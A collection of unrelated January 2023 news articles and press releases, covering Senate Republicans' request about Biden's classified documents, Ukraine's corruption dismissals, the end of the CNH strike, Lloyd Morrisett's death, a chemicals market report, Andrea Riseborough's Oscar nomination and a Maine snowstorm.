View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005461/en/

Contacts

Sean Billisitz

Grasslands: A Journalism-Minded Agency

sean@mygrasslands.com

(574) 298-2712
Republican Sens. Ron Johnson (Wis.) and Chuck Grassley (Iowa) are calling on the Secret Service to turn over a complete list of all individuals who entered locations where President Biden held classified documents at his home and Washington office.

As part of our ongoing congressional investigation, we request that no later than Feb. 2, 2023, the Secret Service provide a full and complete list of all individuals who entered the locations where classified records relating to then-Vice President Bidens tenure have been identified, the senators wrote in a letter Secret Service Director Kimberly Cheatle.

Johnson, the ranking member of the Senates Permanent Subcommittee on Investigations, and Grassley, the top Republican on the Judiciary Committee, noted that the media has previously reported the Secret Service said it would turn over those records if requested by Congress.

The senators made their request after FBI agents spent more than 12 hours searching Bidens personal residence in Wilmington, Del., where they found additional classified documents, some of which dated back to Bidens time in the Senate.

After decades in Washington, Joe Biden certainly knows how classified information should be handled, but he arrogantly doesnt believe the rules and laws apply to him. The public deserves a full accounting of individuals that may have had access to these classified records, Johnson said in a separate statement.

Johnson and Grassley wrote to Richard Sauber, Bidens special counsel, in June asking about Bidens use of a nongovernment email to send government-related information to his son Hunter Biden.

They asked what steps President Biden took to ensure that all of his government emails and related communications were properly stored and archived.

Rep. James Comer (R-Ky.), the new chair of the House Oversight and Accountability Committee, on Monday asked Cheatle for all the information the Secret Service has on individuals who visited Bidens Delaware home in the time since he served as vice president.

For the latest news, weather, sports, and streaming video, head to The Hill.
Jan. 23U.S. Sen. Lindsey Graham, R-S.C., visited Ukraine on Friday and called for NATO allies to provide tanks to help Ukraine fight off the Russian special operation taking place in their country.

Graham, U.S. Sens. Sheldon Whitehouse, D-R.I., and Richard Blumenthal, D-Conn., met with Ukrainian officials including President Volodymyr Zelenskyy.

Graham said at news conference the three senators share the same goal: Help the Ukrainians drive Russia out of their country.

In February 2022, the Russian Federation began what President Vladimir Putin termed a special operation to de-nazify and demilitarize Ukraine. The Russians currently hold around 18% of the territory belonging to Ukraine before the special military operation including most of Donetsk and Luhansk Oblasts and the 2014-annexed Crimean peninsula.

"Putin is trying to rewrite the map of Europe by force of arms," Graham said.

Graham said the Ukrainians need tanks to drive the Russians out.

He said he was tired of the drama surrounding which countries are planning to send tanks to Ukraine and when they'll send them.

CNN reported Friday that Germany won't send Leopard II tanks to Ukraine or allow any country with Leopard II tanks  the tanks are made in Germany  to send them to Ukraine unless the United States agrees to send M1 Abrams tanks to Ukraine.

"To the Germans: Send tanks to Ukraine because they need them," Graham said. "It is in your own national interest that Putin loses in Ukraine. To the Biden Administration: Send American tanks so that others will follow our lead."

*

*

*
Joey McIntyre performs at Carnegie Hall

Eric Elfstrom Joey McIntyre performs at Carnegie Hall on January 14, 2023.

In the summer of 1985, 12-year-old Joey McIntyre climbed up the creaky stairs of an old three-story brick building in Roxbury, Massachusetts, stood in the middle of a bright orange shag rug and, without hesitation, sang "L.O.V.E." by Frank Sinatra  a classic he had been singing around his house for as long as he could remember.

Almost 38 years later, McIntyre, now 50, walked onstage in front of a sold-out crowd at Carnegie Hall in New York City and led the audience on a joyful and emotional journey through his musical career  which included performing Sinatra's "L.O.V.E." again like he had that day when he first auditioned in front of producer Maurice Starr to become the fifth and final member of the boyband phenomenon New Kids on the Block.

"To say I've come a long way feels like a crazy understatement," says McIntyre, who spoke with PEOPLE the day after his debut performance at Carnegie Hall on Jan. 14th. "I remember being a kid in Maurice's living room, singing that Sinatra song in front of them, not really knowing what it meant and where life would take us from there. And now to be on stage at Carnegie all these years later, singing it to a room filled with the love of friends, family and fans. I'm just truly grateful for it all."

RELATED: NKOTB Drops '80s Nostalgia Music Video  See the Behind-the-Scenes Pics!

Joey McIntyre performs at Carnegie Hall

Eric Elfstrom Joey McIntyre and his sister Carol Gallagher

On this night, however, McIntyre really understood what it meant to be there in that moment. His setlist, a rollicking walk-down-memory-lane of solo hits, NKOTB favorites, standards, show tunes and cover songs, showcased his range as an entertainer, musical virtuoso and keen collaborator.

"I didn't want the entire night to be a whole 'this is my life' thing but it's hard to not do that when there are so many important moments and people who have allowed me to get here," he says.

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"I felt very present the entire night. For something that was so monumental to me, I think the only thing I could have asked for was to just be present and not feel like the moment was too big," says McIntyre.

RELATED: Joey McIntyre on Balancing Work, Kids and Marriage: 'It Would Be Nice If We Could Go on a Date Once in a While'

Joey McIntyre performs at Carnegie Hall

Eric Elfstrom Joey McIntyre and Debbie Gibson

The star peppered his nearly three-hour show with several surprise guest stars, like fellow '90s teen idol Debbie Gibson (the pair reimagined her 1989 hit "Lost in Your Eyes" as a duet), co-stars from his time in Broadway and off-Broadway productions of Wicked, Waitress and Tick, Tick  Boom!, and members of his own family including his sister Carol Gallagher and 15-year-old son Griffin, who played piano as the duo sang McIntyre's solo hit "Stay the Same."

RELATED: Country Comfort's Griffin McIntyre Says Dad Joey Keeps Him 'Humble': He 'Went Through the Same Thing'

Joey McIntyre performs at Carnegie Hall

Eric Elfstrom Joey McIntyre performs with his son Griffin.

"It was a really proud Dad moment for me," says McIntyre, who shares sons Griffin and Rhys, 13, and daughter Kira, 11, with his wife Barrett. "You know how they say the only way to get to Carnegie Hall is to practice, practice, practice? Well, that kid practiced, practiced, practiced and it showed."

One of the biggest surprise reveals of the night came when McIntyre brought his NKOTB bandmate Donnie Wahlberg on stage to sing another Sinatra classic for the Blockhead-filled audience.

RELATED: Joey McIntyre Releases Hopeful Solo Song 'Own This Town' About 'Showing Up When Times Are Tough'

Joey McIntyre performs at Carnegie Hall

Eric Elfstrom NKOTB members Jonathan Knight, Joey McIntyre, Jordan Knight, Danny Wood and Donnie Wahlberg

"It was incredibly special. I had the idea for Donnie to sing 'One for My Baby' because I knew it was something that was special and different and important to me. To step up and sing a song like that, that isn't necessarily in his repertoire, at Carnegie Hall was amazing and just part of the spirit of that night," says McIntyre.

Following Wahlberg's performance, McIntyre brought all the members of NKOTB  Wahlberg, Danny Wood and brothers Jordan and Jonathan Knight  on stage to perform their hits "You Got It (The Right Stuff)", "Please Don't Go Girl" and a personal "Happy Birthday" serenade to celebrate McIntyre's 50th birthday in December.

"I tried to tread lightly about asking them to be there because we're busy, five guys, and getting us on tour is a big deal. For a one-off, it's not always easy. So I started with Donnie and then asked everyone else, and they all said yes," says McIntyre, who performed with NKOTB last summer on the band's Mixtape 2022 tour. "I think the roof might have come off the hinges when they came up. The place went nuts."

"I couldn't have imagined doing a night like this without them there," he says.

RELATED: NKOTB Recreate Group Photo from Over 35 Years Ago: 'We Really Couldn't Stop Laughing'

Joey McIntyre performs at Carnegie Hall

Eric Elfstrom New Kids on the Block at Carnegie Hall

Throughout the performance, McIntyre says he made it a point to allow himself to "indulge in the feelings of the night"  even if that meant shedding a few "happy tears" on stage.

"It was hard not to get emotional up there. There were a couple of times that I couldn't help it, and I was squeezing the words out," he says. "I was kind of expecting it because it's just how I am, but I wanted to give myself space to feel it. When you're open and vulnerable, when you're around so much love and in that safe place, you have to give yourself permission to just let stuff come up and share it with those around you."

Joey McIntyre performs at Carnegie Hall

Eric Elfstrom Shoshana Bean and Joey McIntyre

As for what's next, McIntyre says his Carnegie performance felt "like a kickoff" for his plans to make his 50th year extra special.

"I've been saying to friends that I want to do 50 shows this year, so 50 for 50," says the star, although he admits that plans have not been finalized. "I'm just doing what I love to do, and taking it one day at a time but I think it'll all come together soon."

"It's good to have goals, and to work towards something that's important to you," says McIntyre, who will next star in Lifetime's latest V.C. Andrews tale Dawn. "It sounds cliche but it's about the journey. That's the gift, to be able to create and work on something with people that you love. I think that's what we're all looking for in life. I try to remember that it's not about, 'hey, you did it.' It's really about, 'hey, you're doing it!'"

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UKRAINE-RUSSIA-CONFLICT-WAR-DIPLOMACY-EU

Ukrainian President Volodymyr Zelensky (speaks during a joint press conference with the President of the European Council following talks in Kyiv on January 19. Credit - SERGEI SUPINSKY / Contributor/ AFP via Getty Images

The Ukrainian government unveiled a major shake-up of government leadership this week, in an apparent effort to root out corruption at the highest level.

Following several prominent corruption scandals, including two major investigations involving the embezzlement of funds, President Volodymyr Zelensky announced personnel decisions across different government ministries and within Ukrainian law enforcement, which continued into Wednesday. Zelensky also announced that state officials would be banned from traveling internationally for non-government purposes following a report that a now-former top prosecutor vacationed in Spain despite a martial law that bans Ukrainian men ages 18 to 60 from leaving the country without permission.

While the effort appears to be in response to the recent reports of embezzlementincluding accusations of stolen money intended for troopsfighting corruption has been a major focus of President Volodymyr Zelenskys presidency. Corruption also plagued Ukrainian society long before the war; according to a 2016 report by watchdog group Transparency International, between 38% to 42% of Ukrainian households reported paying a bribe to access basic public services.

Heres what to know:

What are the greater implications for Ukraine?

In the midst of the Russian invasion, fighting corruptionand the appearance of corruptionhas taken on new resonance for Ukraine. As the country urges its allies to provide money and equipment to aid its defense, the government must prove that the funds wont go to waste.

Fighting corruption is also crucial to Ukraines efforts to build an alliance with Europe as it seeks E.U. membership. In June, the European Commission recommended that Ukraine further strengthen the fight against corruption, in particular at high level, through proactive and efficient investigations, and a credible track record of prosecutions and convictions.

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Who has resigned so far?

Anti-corruption officials announced on Jan. 22 that an investigation had found an organized criminal group embezzled funds that were intended to restore critical infrastructure facilities and provide the population in the winter with light, heat and water by arranging overpriced contracts. Oleksandr Kubrakov, the minister of infrastructure, announced the same day that deputy minister Vasyl Lozynsky was released from his post and had been arrested after receiving a $400,000 bribe. Kubrakov said he ordered his team to conduct an audit of ministry projects.

Zelensky did not name Lozynsky, but acknowledged that a cabinet minister had been let go in a Jan. 22 statement. I want this to be our signal to all those whose actions or behavior violate the principle of justice, he said. Of course, now the main focus is on defense, foreign policy, and war. But this does not mean that I do not see or hear what is being said in society at different levels.

Separately, after a report in Ukrainian publication the Weekly Mirror accused the Ministry of Defense of over-paying for food intended for soldiers, the ministry announced on Jan. 24 that it had accepted the resignation of deputy minister Viacheslav Shapovalov. The ministry said in a statement the accusations are baseless, but called Shapovalovs decision to resign a worthy act in the traditions of European and democratic politics.

Also on Jan. 24 , the deputy head of Zelenskys office, Kyrylo Tymoshenko, announced his resignation following reports that he had improperly used an SUV donated for humanitarian missions. And Taras Melnychuk, representative of the Cabinet of Ministers of Ukraine, announced via Telegram the dismissal of Shapovalov and three other ministers, as well as seven other officials, including five regional leaders.

The firings continued into Wednesday, with the Office of the General Prosecutor announcing the dismissal of the heads of five regional prosecutors offices.

What is the history of corruption in Ukraine?

Ukraine inherited widespread corruption following the fall of the Soviet Union, including within its judiciary, health care, and education systems. Since its independence 30 years ago, corruption has posed a major threat to the countrys efforts to free itself from the influence of Russian oligarchs and establish a democratic political system.

In recent years, the Ukrainian government has implemented a number of reform efforts, most notably in the aftermath of the 2014 Revolution of Dignity, in which major protests led to the ouster of President Viktor Yanukovych, whose extravagant mansion became a symbol of embezzlement at the highest levels of power in Ukraine. These reforms included the establishment of the National Anti-Corruption Bureau of Ukraine (NABU), which investigates corruption cases and prepares them for prosecution.

Zelensky named victory over corruption as a cornerstone of his presidency upon election in 2019 and implemented reforms prior to the Russian invasion. However, political analysts say that his efforts have had mixed results, with some questioning Zelenskys commitment to reform.

Zelenskys efforts have seen highs, such as the passage of a law stripping lawmakers of immunity from prosecution, and lows, including a battle with Ukraines constitutional court over the validity of NABU. The existence of corruption in Ukraine has been used by Russian President Vladimir Putin to justify the war, accusing the government of subverting the interests of the Ukrainian people in a televised address three days before the invasion.

Controversy surrounding Zelenskys approach to corruption has continued through the past year. In late 2022, for instance, Ukraines parliament garnered praise for liquidating a notoriously corrupt district court, while the same day it was criticized for implementing a reform that could enable political interference in its constitutional court.
UAW on Strike signs are ready for CNH Industrial workers to picket on Nov. 17 at 2701 Oakes Road in Mount Pleasant.

After more than 260 days on strike, roughly 1,100 CNH Industrial workers in Wisconsin and Iowa are going back to work after a new contract was voted on and signed over the weekend.

The details of the new contract, which extends until 2026, have not been revealed. On Monday, the farm equipment manufacturer and union revealed that U.S. Labor Secretary Marty Walsh helped bring the two sides to the negotiating table.

The length of the strike has put pressure on workers and management, with some seeing the result as a success and others viewing it as not enough.

Strike began in Mount Pleasant and Iowa May 2

Workers at CNH facilities in Mount Pleasant and Burlington, Iowa, went on strike on May 2. That same day the company brought in busloads of replacement workers to continue production.

The workers from United Auto Workers Local 180 in Mount Pleasant and Local 807 in Burlington picketed outside local facilities every day and night until the strike ended.

The strike gathered the attention of high-profile public officials such as U.S. Sen. Bernie Sanders, I-VT, who visited Mount Pleasant in June.

The two sides went months without talking before taking a vote on an offer from the company two weeks ago. The workers rejected that proposal.

Workers have struggled to make ends meet while on strike. Other unions and members from the greater Racine community have donated money, food and toys to the workers while they were on strike.

Labor Secretary Marty Walsh got involved

U.S. Department of Labor Secretary Marty Walsh stepped in to mediate discussions between the two sides and helped them get to an agreement.

The meetings with the company and Walsh took place in Washington, D.C., in December. The company only wanted to talk about limited issues, which upset local union officials, said Rich Glowacki, chairman of the bargaining committee for UAW Local 180.

They dropped their proposal off on Tuesday night, we were supposed to meet Wednesday morning at 9 a.m. to continue talking, and we were informed by the secretary that they took off Tuesday night, Glowacki said of the mediation back in December.

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The improvements that we achieved at Martys intervention was presented in the first LBFO vote on January 7, and that one got voted down, Glowacki said, adding they tried to get Walsh involved again in the recent round of negotiations and unfortunately the company told him no.

Previous offers from CNH Industrial

While the details of the contract are not known, wages, healthcare and paid time off are some of the major factors involved.

Workers have been vocal on the need for wages to be more equal to the other manufacturing companies in Racine, Milwaukee and Kenosha counties.

Yasin Mahdi, president of UAW Local 180, said in previously that the company is paying non-union employees more than union employees.

Theyre paying their non-union (employees) $27 per hour, today, Mahdi said after the union rejected the contract in early January. I dont know what the problem is with paying us the same thing.

The company has said in the past proposals that wage increases range from 25% to 38% during the following four years after the contract is ratified.

Vacation time is also a major issue. Workers want to be able to use their paid time off freely, but the company, in past proposals, has wanted control of one of the weeks of vacation during the "summer vacation shutdown."

Who wants to work at a place for five years to get two weeks (vacation) and youre going to dictate when I could take one of the weeks, Mahdi said last fall. Thats unheard of. This is 2022, its not 1982. This is nuts.

Another issue has been healthcare. Workers want to get rid of a two tiered system that's based on when workers were hired.

It's unclear if that system is still in place under the newly ratified contract.

Company and national union pleased

The company released a statement saying it is pleased to have a new contract in place that is fair and equitable for its UAW-represented employees.

I would like to thank our bargaining team, the UAW leadership, and Mr. Walsh, who helped us navigate the complexities of the negotiation process and end the strike, Scott Wine, CEO of CNH Industrial, said in the statement.

We look forward to welcoming our employees back to work, building the machines that help our customers feed the world and build its essential infrastructure.

Some local union members unhappy

Some union members, including Glowacki, were less than satisfied.

Once again, CNH has displayed how little their employees matter to them, Glowacki said. Their compensation package was deficient to the local (Racine) area labor market. And they once again, they have not shown us to be the true corporate citizen that they allege to be in public.

The national UAW appears to be satisfied with the result of the negotiations.

UAW members at Locals 180 and 807 did the hard work to strengthen the hand of negotiators, national UAW President Ray Curry said in a statement. This agreement reflects the effort of a determined bargaining team and members being on an almost nine-month strike.

But closer to home, Glowacki said some workers are upset with the contract.

CNH doesnt deserve the employees that work for them, Glowacki said. And theyre going to find out real fast.

This article originally appeared on Milwaukee Journal Sentinel: UAW strike ends, what to know about contract with CNH Industrial
Lloyd Morrisett, co-creator of the iconic childrens television series Sesame Street, has died. He was 93.

Sesame Workshop, the nonprofit organization behind Sesame Street, shared the news of Morrisetts death in a tweet Monday and confirmed his death to USA TODAY via email. A cause of death was not given.

Sesame Workshop mourns the passing of our esteemed and beloved co-founder Lloyd N. Morrisett, the organization wrote alongside a photo of Morrisett posing with a Muppet. Lloyd leaves an outsized and indelible legacy among generations of children the world over, with 'Sesame Street' only the most visible tribute to a lifetime of good work and lasting impact.

'Sesame Street' turns 50: How Big Bird, Elmo and friends broke new ground for children's TV

Sesame Workshop mourns the passing of our esteemed and beloved co-founder Lloyd N. Morrisett, PhD, who died at the age of 93. pic.twitter.com/I9cSez95Px  Sesame Workshop (@SesameWorkshop) January 23, 2023

Polo Polo: Mexican comedian dies at 78: 'Everything he wanted, he was able to achieve'

Born in 1929 in Oklahoma City, Morrisett initially trained to be a teacher with a background in psychology. After receiving his bachelors degree at Oberlin College, Morrisett did graduate work in psychology at the University of California, Los Angeles, according to the official Sesame Workshop website, later earning a doctorate in experimental psychology from Yale University.

In 1968, Morrisett co-founded the nonprofit Childrens Television Workshop (which would later be renamed Sesame Workshop) with former publicist Joan Ganz Cooney, who called Morrisett a trusted partner and loyal friend in a statement shared by Sesame Workshop via Twitter Monday.

Morrisett and Cooney worked with Harvard University developmental psychologist Gerald Lesser to build the shows unique approach to teaching that now reaches 120 million children. Legendary puppeteer Jim Henson supplied the critters.

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Without Lloyd Morrisett, there would be no Sesame Street, Cooney said in the statement. It was he who first came up with the notion of using television to teach preschoolers basic skills, such as letters and numbers.

She added: He will be sorely missed.

Psychologist Lloyd Morrisett, who co-created the TV series Sesame Street, has died at the age of 93, Sesame Workshop revealed in a tweet Monday.

'Diamond': One-half of political commentary duo Diamond and Silk died of heart disease

"Sesame Street" aired its first episode on public television on Nov. 10, 1969. The landmark educational children's series introduced the world to beloved Muppet characters, including Big Bird and Oscar the Grouch, and helped pave the way for inclusion, diversity and learning onscreen. Morrisett worked as a writer on the series for 56 episodes from 1969-2010.

"'Sesame Street' (premiered) in '69, the year of both Woodstock and the moon landing, and carried on the optimism of the '60s," Ron Simon, curator of television and radio at the Paley Center for Media, told USA TODAY in 2019. "It was certainly an offshoot of the civil rights movement and brought together a multicultural cast and creative team."

Sesame Street is shown in more than 150 countries, has won 216 Emmys, 11 Grammys and in 2019 received the Kennedy Center Honor for lifetime artistic achievement, the first time a television program got the award (Big Bird strolled down the aisle and basically sat in Tom Hanks lap).

The series, which moved to Warner Bros. Discovery's HBO Max streaming service in 2020, has also broken new ground for childrens television in recent years, introducing human and puppet characters dealing with issues such as homelessness, foster care and autism.

Morrisett is survived by his wife, Mary, daughters Julie and Sarah, and granddaughters Frances and Clara.

David Crosby: Co-founder of Crosby, Stills & Nash, The Byrds, dies at 81, reports say

Lisa Marie Presley: The only child of Elvis dies at 54 after a brief hospitalization

Contributing: Patrick Ryan, USA TODAY; Mark Kennedy, The Associated Press

This article originally appeared on USA TODAY: Lloyd Morrisett: 'Sesame Street' co-creator dies at 93
Perth, Western Australia--(Newsfile Corp. - January 23, 2023) - Peninsula Energy (ASX: PEN) would like to cordially invite you to visit us at Booth #535 at the Vancouver Resource Investment Conference (VRIC) to be held at the Vancouver Convention Centre West (1055 Canada Place, Vancouver) on Sunday January 29 - Monday January 30, 2023.

Notable keynote speakers include former Premier of BC Christy Clark and former Premier of Saskatchewan, Brad Wall. Other keynote speakers will include dozens of globally respected economists, legendary money managers, and investors.

We are entering a new era of de-globalization. The trust that allowed for global trade over the last 30 years has shifted irreversibly and countries are now scrambling to secure supplies of natural resources as a matter of national security. As a result, demand for key resources, will skyrocket. We have gathered over 300 companies that are exploring for and producing these natural resources so investors can position themselves accordingly, said Jay Martin, Host of the Vancouver Resource Investment Conference.

For more information and/or to register for the conference please visit: https://cambridgehouse.com/vancouver-resource-investment-conference.

We look forward to seeing you there.

About the Vancouver Resource Investment Conference:

The Vancouver Resource Investment Conference has been the epicentre of junior mining investment in Canada for 25 years and attracts over 5000 mining investors annually. Previous years have been attended by former Prime Minister Stephan Harper and former President of Mexico Felipe Calderon.

The VRIC will include a marketplace of over 300 investment opportunities in the mining industry, spanning early-stage exploration to advanced producing mines.

For further information:

Wayne Heili

Managing Director / CEO

+61 8 6263 4461

info@pel.net.au

https://www.pel.net.au/
DUBLIN, Jan. 23, 2023 /PRNewswire/ -- The "Pyridine & Pyridine Derivatives Market - Global Industry Size, Share, Trends, Opportunity, and Forecast, 2018-2028 Segmented By Type (Pyridine, Beta Picoline, Alpha Picoline, Gamma Picoline and Others), Application, By Region, and Competition" report has been added to ResearchAndMarkets.com's offering.

Research and Markets Logo





Global Pyridine & Pyridine Derivatives Market is projected to grow at an impressive CAGR during the forecast period. The growth is attributed to increasing demand due to end-use industries such as agrochemical, pharmaceutical, latexes, food, electronics, and others.

It is forecasted that the U.S. agrochemical market will have a revenue of approximately USD 49 billion by 2025.



Across APAC Region, the Healthy growth of the pharmaceutical industry is driving the market. Growing Investment in India and other ASEAN countries contributes to the market's development. As per the data released by India Brand Equity Foundation, In June 2021, the Government of India announced an additional outlay of around USD 27 billion, which will be utilized for the Pharmaceutical PLI scheme in 13 key sectors such as pharmaceuticals ingredients, drug intermediaries and critical starting materials. Economic factors are significantly uplifting the market growth and increasing penetration of health insurance to push expenditure on healthcare and medicine in major countries across the globe.



An Increase in the Acceptance of Agrochemicals in the Developing Countries



The globalization of the agrochemical sector significantly impacted Asian Crop Protection markets. The need for various agrochemicals, such as herbicides and pesticides, is growing due to the population's fastest rate of increase, the necessity for food production to meet rising demand, and economic expansion. The available land mass for agrochemicals to preserve soil health and boost land productivity is growing as the demand for food products increases in rising nations of the Asia Pacific region. The market for pyridines and their derivatives is anticipated to be driven by the rising use of agrochemicals.



Increasing Paraquat Usage in Countries such as U.S., Brazil, and India



Despite being banned in several European and Chinese nations, paraquat is utilized in many other countries. Due to farmers' reliance on genetically modified, Roundup-ready soyabean crops, it is widely used in the United States. Since weeds are developing resistance to Roundup herbicides, farmers must use stronger and more efficient pesticides, including paraquat. This is fueling the growth of the Pyridine and Pyridine Derivatives Market over the forecast period as paraquat demand rises in the U.S.



Recent Trends and Developments

Jubilant Ingrevia has purchased a 26.60% stake in AMP Energy Green Fifteen in February 2021. The company has increased its presence in several regions thanks to the acquisition.

In December 2021, Vertellus has acquired Jarchem who is a global manufacturer and provider of Unique specialty ingredients and nature-based products to expand its product portfolio across multiple geographies.

Market Dynamics

Drivers

Increasing Acceptance of Agrochemicals in Developing Economies

Increasing Paraquat Usage in Countries Such as the U.S. Brazil, and India

Challenges

Fluctuations in Pyridine and Beta Picoline Prices

Report Scope:



In this report, Global Pyridine & Pyridine Derivatives Market has been segmented into the following categories, in addition to the industry trends which have also been detailed below:



Pyridine & Pyridine Derivatives, By Type:

Pyridine

Beta Picoline

Alpha Picoline

Gamma Picoline

Others

Pyridine & Pyridine Derivatives, By Application:

Agrochemicals

Pharmaceuticals

Latexes

Food

Others

Pyridine & Pyridine Derivatives, By Region:

North America

United States

Mexico

Canada

Europe

Germany

France

United Kingdom

Italy

Poland

Netherlands

Asia-Pacific

China

Japan

South Korea

India

Vietnam

Australia

South America

Brazil

Colombia

Argentina

Middle East and Africa

South Africa

Saudi Arabia

UAE

Qatar

Key Topics Covered:



1. Product Overview



2. Research Methodology



3. Executive Summary



4. Voice of Customer



5. Global Pyridine & Pyridine Derivatives Market Outlook



6. North America Pyridine & Pyridine Derivatives Market Outlook



7. Europe Pyridine & Pyridine Derivatives Market Outlook



8. Asia-Pacific Pyridine & Pyridine Derivatives Market Outlook



9. South America Pyridine & Pyridine Derivatives Market Outlook



10. Middle East and Africa Pyridine & Pyridine Derivatives Market Outlook



11. Market Dynamics

12. Market Trends & Developments



13. Global Pyridine & Pyridine Derivatives Market: SWOT Analysis



14. Porter's Five Forces Analysis



15. Competitive Landscape



16. Strategic Recommendations



Companies Mentioned

Jubilant Ingrevia Limited

Vertellus holdings LLC

Parker Hannifin Corporation

Lonza Group Ltd.

Nanjing Red Sun Company

Resonance Specialties Limited

Shandong Luba Chemical Co., Ltd.

Hubei Sanonda Co., Ltd.

Chang Chun Petrochemical Co., Ltd.

Koei Chemical Co., Ltd.

For more information about this report visit https://www.researchandmarkets.com/r/ega8zy

About ResearchAndMarkets.com

ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.



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View original content:https://www.prnewswire.com/news-releases/pyridine--pyridine-derivatives-global-market-report-2022-increasing-paraquat-usage-in-countries-such-as-us-brazil-and-india-bolsters-sector-301727519.html

SOURCE Research and Markets
What do Cate Blanchett, Gwyneth Paltrow, Edward Norton, Charlize Theron, Mia Farrow, Jennifer Aniston, Courteney Cox, Amy Adams, Sarah Paulson, Melanie Lynskey, Susan Sarandon, Helen Hunt, Tan France, Rosie O'Donnell, Howard Stern, and Jane Fonda have in common? They're all huge fans of Andrea Riseborough's Oscar-nominated performance in To Leslie.

You'd be forgiven if you hadn't heard of To Leslie until recently. Michael Morris' low-budget indie flew way under the radar, starring Riseborough as an alcoholic Texas woman who won the lottery years ago, only to squander her winnings. The film premiered last year to little fanfare, earning only about $27,000 at the box office. But in recent weeks, To Leslie has become the talk of Hollywood, as starry A-listers like Paltrow, Norton, and Theron have all sung its praises. That last-minute momentum helped propel Riseborough to her first-ever Oscar nomination.

Speaking to EW just hours after her nomination, Riseborough opened up about the "surreal" groundswell of support and her surprise at being nominated.

"It really has been baffling," Riseborough told EW. "It's felt so warm and heartening. I have felt so supported. There's nothing more rewarding than being recognized by your community and inside of your industry. I'm sure that's not exclusive to my industry, but we all mark our achievements in comparison to those we aspire to be like. So when there's feedback that a film's been enjoyed by those people who do the same job as you do, it's really rewarding  and a little unbelievable."

TO LESLIE, Andrea Riseborough

Everett Collection Andrea Riseborough in 'To Leslie'

The 41-year-old British actress has built a long career, including roles in projects like Birdman, Mandy, Black Mirror, and Battle of the Sexes. Just this year, she also starred in David O. Russell's Amsterdam and Netflix's Matilda the Musical. But it's her emotional performance in To Leslie that's captured Hollywood's attention. The film is the directorial debut of Morris, a TV veteran known for helming episodes of Better Call Saul, 13 Reasons Why, and Bloodline. Riseborough stars as the titular Leslie, and the film follows her as she struggles to reconnect with her son and navigate the ups and downs of addiction.

Story continues

"I don't think I've ever been part of a film that has resonated with so many viewers," Riseborough says. "What I mean by that is that often with past films, there are millions of people we don't meet who've been touched by that film. But this film is so personal for so many people, and because we've been sharing it in a smaller environment, I've gotten to meet lots of the audience members afterwards."

She adds, "The character represents somebody that we have all experienced, or she represents us. She's mired in shame and some self-pity, and we all can get to that place. But she has so much love for her child, and in so many ways, she's vivacious and magnetic and a really compelling character. She's somebody you want to be around but who can ultimately break you if you get too close."

The Oscars often reward little-seen indies and powerhouse performances, but part of what makes Riseborough's, um, rise so unusual is how it seemingly came out of nowhere. Oscar campaigns are a whole business: Award season can stretch for months, and for a film to be a serious contender, it often requires expensive screenings, FYC ads, and buzzy media appearances. To Leslie had none of those things  but it did have a slew of gushing social media posts and celebrity-hosted screenings. Norton, for example, said Riseborough's performance "knocked me sideways," while Paltrow said the film was"a masterpiece" and called for Riseborough to "win every award there is and all the ones that haven't been invented yet."

Even Blanchett  who's arguably the Best Actress frontrunner for her role in Tar  is celebrating To Leslie. In her recent Critics' Choice Award acceptance speech, Blanchett used her time to shout out Riseborough.

Riseborough herself says the full wave of support didn't hit her until the night before the Oscar nominations. She's currently in London prepping for an upcoming role in HBO's The Palace, a Stephen Frears miniseries starring Kate Winslet. (Winslet herself recently moderated a Q&A for To Leslie, calling Riseborough's turn "one of the greatest performances I have ever seen in my life.") On Monday, Riseborough attended a panel discussion, and the moderating journalist collected screenshots of the many celebrities singing her praises.

"I'm not on social media, so that was the first time I'd really absorbed it in that way," Riseborough explains. "Visually, it's different, isn't it? You hear that there's great support, or you have people you've worked with who are reaching out to you to offer words about the work. But he created this slideshow of the groundswell that there was, which made me a bit shaky."

"It was overwhelming, and I still feel a huge amount of dissociation," she adds with a laugh. "I feel like I'm watching it in a newsreel in my mind or something."

Related content:
Jan. 23UPDATED 12:56 PM  Maine state police warn that road conditions are slick and want motorists slow down. Better yet, stay home.

A look at conditions on the Interstate in Palmyra right now. Troopers are responding to crashes and slide offs from Bangor to Portland. If you have to be on the roads drive slow and give crews the space they need to work safely. pic.twitter.com/0BsPF4WRky

 Maine State Police (@MEStatePolice) January 23, 2023

This most recent slide off is on the Falmouth Spur. If you have to drive remember to greatly reduce your speed and give enough distance between you and the vehicle in front of you to prevent crashes. pic.twitter.com/SKvjYsElPa

 Maine State Police (@MEStatePolice) January 23, 2023

 Local snowfall amounts reported this morning by the National Weather Service:

Turner: 5.5 inches

W Lisbon Falls: 5.3 inches

E Lewiston: 5 inches

Lisbon: 5 inches

Auburn: 4.7 inches

SE Poland: 4.6 inches

Livermore Falls: 4.5 inches

N Lisbon: 2.1 inches

E New Sharon: 6.9 inches

New Sharon NW: 6.3 inches

SW New Vineyard: 5.5 inches

NNW Farmington: 5.5 inches

Farmington N: 5.4 inches

Temple W: 5.3 inches

NW Rangeley: 4 inches

SSE Rangeley: 2.8 inches

Rangeley: 2.5 inches

Hartford N: 6.8 inches

Hartford: 6.5 inches

E Hartford: 6.3 inches

Andover W: 6.0 inches

Bethel SSE: 5.5 inches

Oxford SW: 5.1 inches

Measurements were taken before 8 a.m.

Here is a current look at our office in Gray ME! Heavy snow bands will continue at times through this afternoon, please travel with caution. #MEwx #NHwx pic.twitter.com/QdzYP4kgXV

 NWS Gray (@NWSGray) January 23, 2023

 CMP is reporting about 26,000 power outages across the state. At least 24,000 of them in York County. Most of the outages are from snow-covered limbs and trees taking down power lines.

CMP is currently responding to outages, the bulk of which were caused by snow covered limbs and fallen trees in York and Cumberland counties. Our crews are working with Maine Emergency Management Agencies now to clear blocked roads and to restore power to our customers.

Story continues

 Central Maine Power (@cmpco) January 23, 2023

 Lewiston and Auburn city governments are closed Monday.

Lewiston, Maine at 830AM  HVY snow!!  pic.twitter.com/6aWnkrZzEi

 BURIED in SNOW Bartman (@MESNOWman1) January 23, 2023

 Central Maine Power has reported at least 19,000 power outages so far  mostly in York County. The Maine State Police has reported vehicles sliding off the Maine Turnpike.

UPDATED 7:16 A.M.  Citylink bus services in Lewiston and Auburn has been canceled for Monday.

State offices will be closed all day tomorrow, Monday, Jan 23, 2023 due to the winter storm expected to cause difficult travel conditions. @GovJanetMills is strongly urging all to stay off the roads during the storm, if possible. For forecast info follow @NWSGray & @NWSCaribou.

 MEMA (@MaineEMA) January 22, 2023
